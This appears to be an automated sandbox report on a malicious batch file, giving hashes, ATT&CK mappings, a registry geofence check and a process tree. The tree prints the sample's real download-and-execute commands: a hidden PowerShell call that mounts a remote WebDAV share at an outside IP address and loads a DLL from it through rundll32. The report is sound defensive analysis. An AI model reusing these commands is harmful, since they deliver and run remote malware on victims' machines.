2b9eb17a20df0659ea2c11d4196d5986ec9f14673d33e52742e9841f0ea28c80

Analysis

max time kernel
106s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
14/07/2024, 17:09

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General

Target

174991964269079808.bat
Size

2KB
MD5

5105d8ce6457030017cbda9b1595bccc
SHA1

bb7e0679d873cfcd1c49ff0e6f02b7de7bc05b65
SHA256

2b9eb17a20df0659ea2c11d4196d5986ec9f14673d33e52742e9841f0ea28c80
SHA512

b999f177ceeef1b844f19fbd46ab9b004421d2e460c998a3597fc37ecd7354b895139d1dd138c9c2773d3436f467d519db923aee7458b0b567cad0e1036d07e1

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1072	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1072	powershell.exe
1072	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1072	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4760	wordpad.exe
4760	wordpad.exe
4760	wordpad.exe
4760	wordpad.exe
4760	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3620 wrote to memory of 4760	3620	cmd.exe	84
PID 3620 wrote to memory of 4760	3620	cmd.exe	84
PID 3620 wrote to memory of 1072	3620	cmd.exe	86
PID 3620 wrote to memory of 1072	3620	cmd.exe	86
PID 1072 wrote to memory of 1872	1072	powershell.exe	89
PID 1072 wrote to memory of 1872	1072	powershell.exe	89
PID 1072 wrote to memory of 1608	1072	powershell.exe	90
PID 1072 wrote to memory of 1608	1072	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\174991964269079808.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3620
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4862.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:1872
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4862.dll,entry
    3⤵
    PID:1608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nqifq5bu.bwk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1072-9-0x0000020B32390000-0x0000020B323B2000-memory.dmp

Filesize
136KB

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